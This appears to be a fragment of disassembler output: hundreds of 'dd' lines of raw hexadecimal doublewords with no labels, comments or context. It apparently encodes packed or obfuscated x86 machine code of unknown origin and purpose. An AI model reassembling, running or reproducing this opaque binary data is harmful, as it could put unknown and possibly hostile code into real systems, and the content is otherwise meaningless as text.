		dd 0A81B5195h, 0C06B6806h, 12E96EE4h, 4E000000h, 5A9A24Fh
		dd 85C631E3h, 0F9C441BBh, 0BA397A66h, 24348179h, 6EE4C147h
		dd 9B30EA81h, 356660Dh,	0A830959Dh, 95FF5906h, 6A81B31h
		dd 27FD8589h, 0B58D06A8h, 6AF64E0h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 4FC35646h, 4B9B533Fh, 0A21FEC90h
		dd 0DD9D89D9h, 0C706A824h, 34383106h, 4BEFBA36h, 46C76C72h
		dd 342D3704h, 0CAEF8131h, 0C745BC65h, 846h, 9FB30000h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 119474C3h, 8BCDF0DCh, 0A8066D8Dh,	39958B06h
		dd 8D06A833h, 0AF64E085h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 4841D7B0h
		dd 0BF0F24E9h, 48950D9h, 0E59D8924h, 0FF06A805h, 0A8312595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D11621D8h, 32374D21h, 0B3EB56Ch, 2E840FC0h
		dd 81000000h, 0BA2D4D3h, 1CEE908h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2972B9C3h
		dd 0A80E8DBDh, 0BC486806h, 0FA8BDCC4h, 0E4240481h, 0E9233B44h
		dd 14h,	5A966AF7h, 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h
		dd 1B3195FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 4C50E3C3h, 0FDF30719h, 29F18D8Bh
		dd 8D0306A8h, 6A82B39h,	64E0B58Dh, 80F506AFh, 6C7EAE3h
		dd 656C6946h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	0EAC35545h, 0D5CA83AAh,	51331836h, 0A850Fh, 89600000h
		dd 0A8261DBDh, 615A5306h, 6D0446C7h, 6A636E6Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 497BC356h, 0BF840847h, 9D09524Ch, 6A814A9h, 846C75Fh
		dd 7373616Ch, 2975BD23h, 46C706A8h, 0Ch, 6840F00h, 31000000h
		dd 0A820619Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 3082C350h, 0E0858DA6h
		dd 6A06AF64h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 16D1C351h, 0CE5C9941h,	50D88B66h
		dd 28C0Fh, 0F98B0000h, 8B240489h, 0A822598Dh, 2595FF06h
		dd 6A06A831h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A0BEC352h, 9CB9959Eh,	6E8D171h
		dd 20000000h, 917A8E49h, 71BD2BF4h, 5A06A80Fh, 840FC00Bh
		dd 0Eh,	918D2BFCh, 0E906A822h, 10h, 0EEE9FB8Bh,	0FFFFFFAh
		dd 389h, 0D08B6600h, 7120B58Dh,	6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 689D92C3h
		dd 0EC6290A1h, 8A1DE411h, 89BD8BF0h, 0B806A831h, 0
		dd 1B619D0Bh, 0E6FF06A8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 6AC35141h, 0E9A9C338h, 7, 0BD5DC1B3h
		dd 8BE919C6h, 0BE9C1h, 45540000h, 6CBCh, 0
		dd 0D77E900h, 2C680000h, 0E906AF6Eh, 0FFF911FEh, 0AF6F0F68h
		dd 11F4E906h, 0BC68FFF9h, 0E906AF6Fh, 0FFF911EAh, 0AF705B68h
		dd 11E0E906h, 6E68FFF9h, 0E906AF73h, 0FFF911D6h, 0AF76AD68h
		dd 11CCE906h, 0B268FFF9h, 0E906AF77h, 0FFF911C2h, 8A105900h
		dd 0C5410429h, 33773E5Ah, 63A7E290h, 54D29FC0h,	0C768AACFh
		dd 0F3933C8Ah, 0A5C768BEh, 56F55EECh, 0C9138B1Fh, 7427BBFh
		dd 240349B6h, 8CF25EFFh, 5BBDCA23h, 5C47635Ch, 0FD2E7336h
		dd 0D812C8BBh, 5412F264h, 0EAB5E3C4h, 95E7034Ah, 1C400E12h
		dd 2A6B5A15h, 113CF00Ah, 54F75DDBh, 1DAF5BE0h, 0B6000386h
		dd 0CC37D37Ch, 83C5E1A8h, 0B6000387h, 0E546D27Dh, 71A9D379h
		dd 32B60003h, 0D9D25F16h, 9EBD2E09h, 0C7514AD7h, 30501h
		dd 31BBA1B6h, 4BEA00D3h, 145EC802h, 159AD375h, 168D2B04h
		dd 7FA5C38Dh, 0FFD8CDCDh, 729CB7B5h, 0B5FFD936h, 0C68BAB0Ch
		dd 0F3EF4BEDh, 321477D0h, 0F28284B8h, 0B1686EEAh, 589DA1B2h
		dd 27D5433Ch, 2Fh, 0EB5E7F8h, 0D7C7AED8h, 1ABDB5FFh, 0D65B3479h
		dd 0FFD81014h, 0BCF593B5h, 0C78EAE77h, 0A102FB5Ah, 7C258E12h
		dd 77D7827Eh, 116514h, 0BABE0000h, 0D6AEEA1Ch, 0BB94AF57h
		dd 873927Dh, 0FFB50000h, 1788155Ch, 0DC99B574h,	0D96D4657h
		dd 5175CE6Eh, 3B4DCD6Eh, 0AF57D6FFh, 2C716AC5h,	0A59ED373h
		dd 0D6C3C701h, 9681AF57h, 3FAED802h, 5B5FFF6h, 7313FC2Ah
		dd 70B8F13Eh, 0F64B4B93h, 8C67B5FFh, 0CD3B1723h, 4AC21477h
		dd 65000000h, 0F93459BAh, 0F439125Bh, 2B275A3h,	81A20DB9h
		dd 44866CCCh, 0B6000529h, 7312FD1Bh, 1AA4F53Ah,	0B600051Eh
		dd 0E9A0C3E4h, 817A5344h, 1E041365h, 10828172h,	0E3232B98h
		dd 0FFB6006Ah, 938F8B14h, 7A147742h, 0BEh, 155CFFCDh, 3B761788h
		dd 0B8C268F6h, 0AF57D780h, 2CBD2E4Ah, 9B6B9ECCh, 622F4FB0h
		dd 83CA6936h, 0AFE6851Eh, 5385E11Bh, 7F1EAF58h,	0C00AF036h
		dd 2E43BC13h, 0C46BCD50h, 743D60A1h, 423B7E13h,	53163BA4h
		dd 77A566C5h, 5DEC1ECCh, 27B600A4h, 0CEB190EDh,	1BAD84D1h
		dd 0B600691Fh, 78514AE5h, 803B9922h, 0A90205Ah,	6D56BCABh
		dd 0E81682CBh, 17389B4Fh, 0C263CC5Ah, 0FAFE598Fh, 2380EC80h
		dd 0A53A2h, 0FDB4D300h,	2C6906A9h, 5A13359Eh, 8ACF63CCh
		dd 0BFF2933Ch, 45CDEC6Bh, 72DD6924h, 0A6099DD0h, 0D87BCF86h
		dd 3EAEFCB5h, 459E9A2Ch, 2664B607h, 135EFFF9h, 40092C97h
		dd 0B5E7DDFAh, 4FAED80Eh, 35B60005h, 0BBFF692h,	4B9F1h
		dd 0B7A08BB6h, 4A4E06Ah, 6BC0B600h, 0F8DCC8CAh,	0BA3B1477h
		dd 0CD000000h, 0AB084DE2h, 387D1172h, 30BAABF0h, 0BC850DD5h
		dd 52DD5B7Bh, 0F91D9B33h, 0CD818D5Dh, 5D955706h, 1F08F769h
		dd 3D701192h, 0FB0E76F0h, 0F695AF57h, 0D05D1437h, 0A19923C7h
		dd 63AF57FBh, 0E84BDFC8h, 0E6A70C45h, 0AFD90DB6h, 0B600031Ch
		dd 0E8A5C5E6h, 169BD677h, 709E2C05h, 7DA2EF8Fh,	993B8C2Ch
		dd 0DD428422h, 0A7BCAAA1h, 322B6E04h, 470A2B94h, 723F60C3h
		dd 8162EB56h, 7DC6E5ECh, 970h, 0BA0049F0h, 0F5317419h
		dd 23672E4Ah, 1397D280h, 44C28FB0h, 3758BAFFh, 0E3832C7Ah
		dd 95B718AEh, 46E54EDCh, 3923BB0Fh, 7468B8Fh, 143379B6h
		dd 97135EFFh, 0FA40092Ch, 6B30BADDh, 581BEB90h,	92B17EBAh
		dd 0AECD56DBh, 2380C96Fh, 0B5F8990Ah, 0C0463F68h, 0EE4ECFA1h
		dd 0E417B155h, 0DEB600AAh, 90F51375h, 0B5FC5DBh, 52F412A9h
		dd 666DEAE7h, 312D72DDh, 71BC01A7h, 7DBBFD1Ch, 18390AAAh
		dd 3C4E7C55h, 6D195969h, 0ACCAF05Bh, 19591E1Ah,	0A5C3E46Dh
		dd 7D5647ECh, 0AFCE313Bh, 5CFFA0E6h, 0AB88F315h, 2D8E3C12h
		dd 8C354h, 6D244300h, 9CD976D9h, 0CA83A50Eh, 0FABFD37Ch
		dd 2F6203ACh, 0B55D1C9Bh, 0E24DD994h, 16B90D40h, 48EB3F76h
		dd 4EDE6C25h, 462E6A9Ch, 0D614B607h, 155CFF69h,	16AD0F88h
		dd 0C8694AF0h, 37206D0Dh, 0CECA7CEAh, 0B4AF57D6h, 0F076A29Bh
		dd 0B600038Dh, 7F325477h, 0EA88F932h, 0AF10B6AFh, 0DD46C48Dh
		dd 0BDA9F6BFh, 6C8DEE3Bh, 0B931A7A2h, 494DA70Dh, 8640E84Fh
		dd 0B6009E82h, 0AE3C78h, 0ABDD7FB6h, 0AE1911h, 5740EBB6h
		dd 0DFE209B3h, 77A0BCA8h, 93DA792Ah, 83250075h,	309112ECh
		dd 824h, 7ECC85A4h, 0A9FDB8D5h,	9F2B6206h, 0CF5B1E34h
		dd 388EC364h, 7314FEB3h, 2747E83Eh, 0D173DC6Ah,	82A10298h
		dd 7DEF7FCBh, 746CFCBh,	0C877B5B6h, 0D80EB5E7h,	901851F7h
		dd 8C9304Ah, 90BBB600h,	0B8FD9213h, 761B8462h, 49D69BBBh
		dd 8C6F6750h, 0CB14CAF9h, 85AA75A3h, 7BDA63C0h,	56FC1AC0h
		dd 21F434h, 7DB9C6B6h, 916402B9h, 0B4B2E651h, 0B60089ACh
		dd 0A609BD96h, 0FA69CF86h, 0CED55E77h, 4D1A05A1h, 0A7B91858h
		dd 868E78CEh, 5B60034h,	4DFF2B96h, 0B6003471h, 0A5EC8C77h
		dd 47892F78h, 58F55EECh, 4656901Dh, 3B60035h, 6D0209AAh
		dd 1C319228h, 0B4F9BCD1h, 39258A63h, 0B6F1C8BFh, 92060977h
		dd 0FFE4A054h, 0AF705DB5h, 78CE8BA8h, 31D56CCFh, 24FC36A7h
		dd 90185379h, 99F5304Ah, 64CFB600h, 0FE603F3Fh,	977C2A61h
		dd 0F5100C0Eh, 76F769D5h, 48000001h, 0D80EB5E7h, 7E3751B2h
		dd 0B6B0F831h, 0B6000273h, 7DBDCF75h, 47B60002h, 0A9824CECh
		dd 0BAF3927Dh, 0E9A0C36Ch, 0FCB1D23Dh, 513266B7h, 46ADEF89h
		dd 8C15863Dh, 1BAFE685h, 57DC95B8h, 4EDC67D6h, 0DE0C49E5h
		dd 9B1855F5h, 0ECB51682h, 19BA0049h, 0D69BBB7Ah, 49AAB0FDh
		dd 0EE3F6429h, 644ABC4Ah, 0F26BAFD1h, 87C16F31h, 0AFD16483h
		dd 0DD42D641h, 10B3F7BEh, 5B5FE96Dh, 29AFD164h,	5288150Eh
		dd 64969234h, 0C36CAFD1h, 0D863D255h, 64A09822h, 0C962AFD1h
		dd 0DF69977Dh, 0AFD163DBh, 286506A9h, 1536F93Fh, 0E352DB58h
		dd 9B04A258h, 0E167B1F8h, 0AFD163ADh, 0C56EBC97h, 0E142EFA6h
		dd 0FFA00D40h, 158E135Eh, 39F53A73h, 7A1A2182h,	1EB75A33h
		dd 0C581CB95h, 47BBB5F9h, 15C565BBh, 312A648Bh,	0BEE3AED0h
		dd 0C164CB6Dh, 0E8185288h, 28189652h, 6D2846A7h, 0FB41D7C0h
		dd 4E7C3558h, 2C8CC965h, 0E45FFEBFh, 0C58C84C6h, 7152AFD1h
		dd 0F11F99DCh, 3C5FC046h, 0D5772875h, 0E18E179Ch, 86A67FA4h
		dd 76DF62CFh, 73A82EADh, 0C188ABB2h, 0F2BBDA45h, 0F249ECADh
		dd 0C600AED4h, 0AFD1C4C2h, 0A50A43E1h, 2DD97274h, 0D1C59F9Bh
		dd 6ECA65AFh, 0D1C5AC98h, 69BD96AFh, 42EFA6C6h,	3BEF5AF9h
		dd 0B6FBB6D8h, 9F293365h, 0AFD1C6ABh, 0D58A3BBDh, 0A81909C8h
		dd 0D155FE00h, 155CFFEAh, 3D863691h, 0CD194F89h, 0BDA11E59h
		dd 0A457F17Bh, 0BAB60053h, 53AEEA1Ch, 0BB94B600h, 3E632A4Ah
		dd 0AA854BEDh, 0C584D67Ch, 0F0B9DC60h, 858C6EE6h, 1607ACE9h
		dd 3B7F893Dh, 9B60061h,	7258A2Eh, 3557F84Eh, 0C676377Ch
		dd 0D03F497Dh, 96BCA88Dh, 0D845002Dh, 7F682147h, 92B41739h
		dd 357A3757h, 0F4120BE4h, 0EA976C62h, 4C868AF7h, 0D17EEA00h
		dd 5BC8601Ah, 0A8E39393h, 1FA408BCh, 152A51EBh,	0D33CC351h
		dd 93BDFBBEh, 0A2E402B8h, 0C3511566h, 0C6A5F35Ch, 51773E5Dh
		dd 0E5DAEFCEh, 1162E3C0h, 91000005h, 0C86BBFF6h, 0F758EEABh
		dd 21821851h, 51F2480Dh, 0A2297D30h, 2F62030Fh,	5B16389Bh
		dd 89C064CFh, 0BAF3923Dh, 0D862F86Ch, 0B60749E0h, 0E7BF64A2h
		dd 0B2D80EB5h, 0D6B6F214h, 0A38CAF57h, 57D71F1Bh, 0EE4AE5AFh
		dd 16B0DE04h, 0AF57D712h, 47E647F0h, 2088A10Eh,	0A7B26h
		dd 992349B6h, 0B6000AA1h, 2BDFC863h, 46EBA6C8h,	0A572B5B4h
		dd 110A776Bh, 0E3222487h, 0FFB60075h, 938F8B14h, 7A14774Dh
		dd 0ABh, 0D78EA6CDh, 449DAF57h,	3D89C063h, 7416298Ah, 0CAA3F439h
		dd 3A9EB31Ch, 103CED3Eh, 69B6AF67h, 0E6A3CF30h,	221EA8B2h
		dd 0E0AF5886h, 1A39EA37h, 0AEF3B6DBh, 7D66847Dh, 307D1DD0h
		dd 5CC1BAF3h, 0A467ED4Bh, 0F412C873h, 0A2E6204Eh, 60AF5886h
		dd 860B0FB7h, 5EF9AF58h, 86140CDAh, 45EEAF58h, 6D2447D8h
		dd 739533D9h, 0AF588637h, 31F6220Dh, 47812580h,	0AF58865Fh
		dd 0F3DC0A25h, 8CAE1F52h, 72F457C1h, 0AF58C632h, 531D862Fh
		dd 38F53A19h, 7ABE771Fh, 15B10CADh, 55C38AAAh, 76597D8Fh
		dd 2BAF58h, 0E739BAh, 0E71C0000h, 81B9C3B5h, 43AF57D7h
		dd 81CBFFE8h, 0A51EC160h, 7EE43449h, 0D59DCCh, 67CC67B6h
		dd 3B7618FBh, 0DADE68F6h, 0A8B600D4h, 9D02968Fh, 5A1738FDh
		dd 2E622561h, 0C16E5175h, 404A1265h, 0FDD60747h, 1717B1BBh
		dd 0EDB5FFE6h, 181DDD42h, 8BB5FFE6h, 0A57EA3E6h, 0A965CA83h
		dd 0FE22B172h, 928E8C15h, 751477DDh, 7Dh, 0AA9E7CEh, 0D551F3DCh
		dd 57D777B3h, 9E24DAFh,	70345AFh, 0FDAF57D7h, 3254CD52h
		dd 8BCD2B7Fh, 99347146h, 0C58CB069h, 0C2564F58h, 3AA5CB45h
		dd 0DBCC5114h, 5883F733h, 8962CDAFh, 9595375Dh,	6FAF5884h
		dd 608E54C4h, 0DAF4D16h, 54C41335h, 57DAE292h, 2A77A0AFh
		dd 581AE420h, 3345E1AFh, 81093149h, 2398106Ah, 762D6382h
		dd 833E3650h, 0BF20AF58h, 514AD792h, 881E39C7h,	155CFFA3h
		dd 92345288h, 0AF57D796h, 0CA55C36Ch, 0E3A4E2ABh, 0AADC0AB1h
		dd 0B5FFF643h, 41891601h, 0B5FFF645h, 2F74315Eh, 2A9BD276h
		dd 1BDE430Ah, 1DAFF1B2h, 0B5FFF61Dh, 0CD534CE7h, 0C78AAC17h
		dd 3939FA51h, 1477CD4Dh, 20A8h,	0B5E77300h, 4FAED80Eh
		dd 35B60005h, 5155951Ah, 6DB60005h, 211D1D86h, 0C41477F8h
		dd 112h, 3F59BA5Fh, 0DE7D2276h,	0F3DC0A97h, 98911E53h
		dd 0E0480127h, 0B7531E3Fh, 0C860294Ch, 3248F5Bh, 60C8E14Eh
		dd 48D59CBFh, 0D6FA5892h, 0AD590E78h, 0C881A40Bh, 0B2B9472h
		dd 68C0D946h, 5899769Eh, 470E2DAFh, 743D60C3h, 6F95332Fh
		dd 5898DDDDh, 428CA7AFh, 0AF589946h, 285133Ch, 2C80A192h
		dd 0E496B6E8h, 159A732Bh, 4DFF2B04h, 0B600D21Eh, 4CFF4BE4h
		dd 9B753E8h, 0D1BBFFh, 0AAE89B6h, 7471A6E0h, 0F853BCABh
		dd 9E52A4C2h, 9694DCCBh, 92AF523h, 0CE78A644h, 0BCAB56CAh
		dd 0B3199FB8h, 9D9D2F55h, 67BCAB57h, 71385BCCh,	0F2BDFB2Ch
		dd 5DEC1C51h, 0A7EC80ADh, 1D2BB04h, 37520000h, 0EA87287Eh
		dd 90B81BAFh, 4CE24DD9h, 7112BD09h, 5061EE3Ch, 5EECA1C2h
		dd 821855F5h, 0FC4A0321h, 2D793053h, 2119A3B9h,	0E3B6074Dh
		dd 5EFF7EA5h, 0C3699713h, 0D7C4A789h, 2FD7B448h, 0AF5838EBh
		dd 753A7ED9h, 0CD6B9FD6h, 58397FBBh, 4EEA45AFh,	0B5E7DFC4h
		dd 4FAED80Eh, 11B60005h, 55951EBh, 2BB600h, 568A0DAh, 0F15AB600h
		dd 71BE99A7h, 0FD3D4FF5h, 0C7B60004h, 140D44E4h, 5424284h
		dd 0F55EB600h, 0F8322E2Ch, 0BCD51477h, 6E000000h, 88155CFFh
		dd 90B37617h, 0BB43E0D9h, 0AF57DC5Bh, 93D5CB0Dh, 25CE9685h
		dd 0A1092CF3h, 0E62EDA30h, 701475B3h, 59FA4039h, 6D2E733Ah
		dd 345674CFh, 0B60049C5h, 0B51694BFh, 0E00EBC07h, 891653FFh
		dd 7ACE1890h, 6CBCAAE8h, 0E841B4C6h, 3101A231h,	0AAEC9189h
		dd 235073BCh, 0F7E03966h, 16B49FA1h, 45C18CADh,	0D4F4B9DAh
		dd 0EC81193Fh, 0CDF15251h, 4D000000h, 7C27632Ah, 0AB1492D7h
		dd 0DD46C48Dh, 0DB6F4B1h, 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh
		dd 3D7418BBh, 6E2746E9h, 6C9E4CD8h, 0B6074E2Ch,	0FF6BD016h
		dd 8D42F25Eh, 1D317E30h, 1E3DE624h, 0BC28609Ah,	311AAF58h
		dd 0FFE5C258h, 1788155Ch, 26893D74h, 1AE04805h,	12C873A1h
		dd 4A8062F4h, 20BC91FEh, 9CDF7E88h, 8AA5B607h, 90D97C25h
		dd 0C38AA90Ah, 0D9C99C5Eh, 73E8201Ah, 640EEB2h,	201ADA02h
		dd 5EC157C0h, 8F30763Fh, 0A778A5ECh, 0B718CE8Bh, 0B0E8129Ah
		dd 92201AD9h, 0AB63C0B9h, 59BB4CBBh, 0A90FF822h, 159E373Ah
		dd 80266F0Eh, 0CAE8205Ah, 71DA201Bh, 53F25D27h,	6003EC1Ah
		dd 0C61C8F29h, 0A2F6BFDDh, 3DDh, 0CBB0F800h, 8C1158FFh
		dd 0F4397013h, 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h
		dd 7DA2E78Bh, 60CD84A4h, 4AD792BFh, 0E28952FAh,	4C281h
		dd 0EA830000h, 24148704h, 5024248Bh, 405E089h, 83000000h
		dd 48704E8h, 2C895C24h,	8C26824h, 34890000h, 7ABF5724h
		dd 684DE916h, 0B8C65585h, 5FFD015Dh, 24348B54h,	4C481h
		dd 53550000h, 0D91BD4BBh, 245C290Fh, 468F5B04h,	8468108h
		dd 0FD91BD4h, 5E2434FFh, 4C481h, 2C8B0000h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0F9049DE9h, 310587FFh
		dd 0FC81C8F0h, 8FA8654h, 78A4B841h, 0C50306AFh,	21ACE0FFh
		dd 9D20203Bh, 0B32A3228h, 45326C54h, 2EA16FD4h,	463A22D8h
		dd 4A34955h, 0A5E7623Ch, 0BA343FB1h, 0A5F39E9h,	24D25457h
		dd 8E8474Ch, 83000000h,	0A7559CBDh, 66B97EE1h, 815ED18Bh
		dd 64F1C6h, 2850F00h, 8B000000h, 1914B9FAh, 820F0000h
		dd 0Ah,	815E5160h, 1F00E5DAh, 36FF6172h, 28D0F5Bh, 8A000000h
		dd 0D4EB81C1h, 660E51EFh, 817567BAh, 0BA87B2EBh, 0E9F38152h
		dd 0E97926E6h, 5, 270F81CDh, 8E0F53AAh,	3, 8FC28B66h, 13E906h
		dd 3ACB0000h, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h
		dd 2EE83E2h, 3840F60h, 0F000000h, 0BE66C0B7h, 4E614AA9h
		dd 0BA66504Eh, 815F6EA4h, 1E9h,	8B850F00h, 0FCFFFFFFh
		dd 34E9h, 0FDB27E00h, 23h, 0Bh dup(0)
		dd 560E900h, 97B20000h,	4AE748DEh, 7018BB0Fh, 2C42ED39h
		dd 0D172DD69h, 0F0810E9Ch, 0FE4C0122h, 22783555h, 1CAAE381h
		dd 4DD990B3h, 0C1F903D9h, 83B60750h, 91B41F45h,	0BA4B50D8h
		dd 2F743959h, 56F5BAFEh, 6B08EB1Fh, 0A8812Eh, 2C6102A3h
		dd 5F16359Eh, 7B3251D2h, 0A4C72836h, 0C15740EDh, 56FC315Eh
		dd 2C9D8E13h, 0CAE34009h, 74E14CD1h, 0C881A4ABh, 0FAB3D172h
		dd 0ED45E3CCh, 0A75B351Bh, 0DB5D364Dh, 5288B71h, 55B6E74Ch
		dd 0E23B7835h, 8A4BE9B6h, 0F903A7EEh, 0AF589FC1h, 72BFA883h
		dd 23660BF4h, 0CD082AF5h, 0DD09E2ABh, 0A15FB19Bh, 0BBFD685Eh
		dd 3AC09C8h, 0B1E913B9h, 93AF5884h, 8DAF70B8h, 0BEDD46C4h
		dd 65A0AAF7h, 0D7AF5885h, 65204EB1h, 0D249EF38h, 78554151h
		dd 65B012DFh, 8B000000h, 0F09D5CFFh, 463F68B5h,	703556A0h
		dd 14AD8525h, 9D3B2784h, 58402F6Bh, 0FE3A15AFh,	58402E68h
		dd 961F9CAFh, 0DFBFA884h, 0D77C6712h, 9C1C0D92h, 17Eh
		dd 52FFC100h, 74198A17h, 52A9531h, 6ECAE340h, 4B0E24FDh
		dd 159E0FE6h, 0E624610Eh, 0D3571E3Dh, 3D7D8F35h, 7AF57D7h
		dd 65CA8FA4h, 0D6DD5B34h, 0F7135EFFh, 0D6FB3F49h, 6EC9AF57h
		dd 0EBE76B94h, 0C25617C7h, 0D693C061h, 0C46DC649h, 55D19CBDh
		dd 9D024BEAh, 802D6404h, 0E8EA4B20h, 12DF2B0Ch,	0D59CC023h
		dd 43B143h, 0FF8A0000h,	158E135Eh, 1EF53A73h, 5CFD04ADh
		dd 92A9511h, 2846DF44h,	100944E5h, 0DD462D93h, 0DFD411DDh
		dd 803412h, 0FF0F0000h,	158E135Eh, 0DFF13E77h, 0DB014BD4h
		dd 57D769A1h, 0B8F05BAFh, 8F1B56F7h, 1752FFA0h,	94365C8Ah
		dd 0AF57D794h, 8320690Fh, 0B9FF58AAh, 57D768AFh, 571A3BAFh
		dd 743959CAh, 98D5762Fh, 0D6FF021Bh, 56B4CE4Dh,	0D79A9E28h
		dd 4768AF57h, 24746D24h, 509AE64Fh, 0D16BE817h,	0AF5804D9h
		dd 0AF7680ABh, 0B6B44EA0h, 7B94A450h, 3521F523h, 0F812DF4Dh
		dd 1302637Eh, 5FD9603Ah, 1BDh, 59FF8600h, 6B09EA10h, 0B14DFD22h
		dd 4C84A14Ah, 0DFE3A13h, 64FEED1h, 205A8099h, 0AF58A0E8h
		dd 782771DAh, 0D0179CD5h, 15333AFBh, 0BF20CE5Ch, 0CF58D099h
		dd 9630D66Dh, 0B600AE33h, 0E3AACA35h, 2AFE682h,	0D6418F29h
		dd 0FCB5D849h, 2F6605AEh, 0AE3E7882h, 508AB600h, 3ADC3C06h
		dd 50D8ED39h, 0E4763AFBh, 2D961BE8h, 3D5BCCF7h,	0D87B2474h
		dd 8BAA1591h, 0A1C45DC2h, 6FC44BE8h, 0D59CBFC6h, 2048AB51h
		dd 7F6BCF69h, 0B61477C9h, 1FA9214Dh, 0B600021Bh, 0C3554EE9h
		dd 10E31h, 0B5E70A00h, 23AED80Eh, 0E1B60007h, 0D06A9036h
		dd 0B60006D8h, 206509AAh, 0A102E137h, 0D47FCB82h, 0EABBF8B1h
		dd 1A9D024Bh, 4AE9F0B1h, 76598703h, 6179CD9h, 0E62A0692h
		dd 3ECD1477h, 56000000h, 84C6B6E7h, 0AF57D784h,	0CEFCD57Eh
		dd 57D75CBCh, 0E685262Fh, 302902AFh, 0D72F6BF3h, 0CA612F57h
		dd 6ED97A69h, 0D6EA0EB8h, 7FD8AF57h, 65A7CD2Bh,	0AF57D725h
		dd 1BE4341Fh, 93h, 0EB5E73Eh, 0ACFAED8h, 9AB5B600h, 8126EA6Ch
		dd 9811F954h, 53F2B310h, 238C1Ah, 2162E449h, 6DB5FFDCh
		dd 0F7969D06h, 7DDF68BEh, 0DBB9F10Bh, 0A08BB5FFh, 0C1E913B7h
		dd 0A7BCAF55h, 0CA571A3Ch, 9EB947D1h, 69ED9011h, 0AF55DBDFh
		dd 0E9A0C8BCh, 59935344h, 0F4E98F69h, 0B1AA8364h, 5FC0ED6Ch
		dd 609AEC40h, 0BCAF8828h, 0A97DA7Bh, 6C66D111h,	0D4147166h
		dd 5C8A630Dh, 0E0949436h, 0C56EBCAEh, 4B7F8953h, 39C35E5Ah
		dd 5A71A9D3h, 0F853C35Eh, 0E79CBB0Fh, 0B2D80EB5h, 36741F38h
		dd 0D9D25F16h, 45EBB601h, 7C2515D3h, 0D83BB607h, 95BBFDB4h
		dd 0B3D11C32h, 8B64B5FAh, 0ABD10D92h, 30C74221h, 5F6766D8h
		dd 0B607875Bh, 0FA017C21h, 7476C0E7h, 2CB4F416h, 0A58EB607h
		dd 0A0C36CCCh, 53F25DE9h, 446EC1Ah, 0B6072D04h,	2D68A0DAh
		dd 0F15AB607h, 71D246F1h, 0FD3D4FF5h, 0C7B6072Ch, 9646926Ch
		dd 16B78734h, 68B84482h, 6CD9DB59h, 1D99BCC3h, 5968AFEBh
		dd 1C3295DBh, 53776059h, 69979335h, 0C26DDB59h,	2043EC56h
		dd 692662A4h, 331CDB59h, 0A609D55Ah, 0C36CCC89h, 8245EAAFh
		dd 0E2818829h, 67F11FABh, 57B27DC4h, 0EDB2E64Fh, 299A074Eh
		dd 0Ah,	3F59BA0Ch, 0B8F02976h, 58FFC3B8h, 70138C11h, 92BF439h
		dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h
		dd 92BF60CDh, 50FA4AD7h, 405E089h, 2D000000h, 4, 5C240487h
		dd 56243489h, 0C681E689h, 4, 8704EE83h,	895C2434h, 8951241Ch
		dd 4C181E1h, 83000000h,	0C8704E9h, 3C895C24h, 3D94BB24h
		dd 0F3815349h, 718C216Ah, 174ABE56h, 0D6F762D7h, 0EE81D6F7h
		dd 7EECB9FBh, 685EF301h, 7753h,	81242489h, 42404h, 835F0000h
		dd 1C8904ECh, 24048124h, 6F86202Eh, 8108478Fh, 202E086Fh
		dd 34FF6F86h, 0C4815F24h, 4, 5B2434FFh,	0E904C483h, 0FFF8FE22h
		dd 4053568Ah, 9B64C947h, 5D1A2F4Ah, 0AB82D88h, 306AF7Fh
		dd 5BE0FFC5h, 0BE66134Dh, 0EA4A6AD4h, 0F61D1659h, 0FD040641h
		dd 0CA70C8A6h, 0F2527DAh, 0D6054F58h, 0DD251DD0h, 3D4BAD26h
		dd 0B431BB8Dh, 2C1ABE64h, 0C97187F9h, 0E33988F4h, 95570217h
		dd 0EC65A897h, 0F240A034h, 59289C8Fh, 0D62F9396h, 373FB872h
		dd 0E87ED5CCh, 5, 48DE44CAh, 3800F7Ch, 0F000000h, 0FC5BF0B7h
		dd 0DAF4C381h, 890F0000h, 5, 5CF68166h,	0FFFF33D0h, 8E0F1F34h
		dd 6, 1298F681h, 815A57C7h, 3C588BEEh, 29EA813Ch, 8126FF8Fh
		dd 65D372E8h, 1FF28110h, 0F15290Bh, 0EA81C9B7h,	293CEFD9h
		dd 1489CA8Bh, 13E83Bh, 0EA4E0000h, 0D3119566h, 0C71A391Ah
		dd 0A11173B1h, 0CB0AF7DFh, 0D08166D6h, 0F583725h, 0EF83CEB7h
		dd 9695B903h, 0F4F6FF9h, 285h, 81F18B00h, 0FF25A4FFh, 8C850FFFh
		dd 0B8FFFFFFh, 1E5A6A73h, 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 600h, 118AC500h, 9C662232h, 0D3EF3506h, 753878BBh, 1565CF3Dh
		dd 9E002232h, 0E6E777C1h, 960765AEh, 0BD789D8Fh, 1C132234h
		dd 388FACB1h, 61668E9Ah, 9E35142Bh, 11779AF2h, 90EF1132h
		dd 13CE8F87h, 0B4CAD9BFh, 0C6992498h, 0A8E54969h, 13CEA5DBh
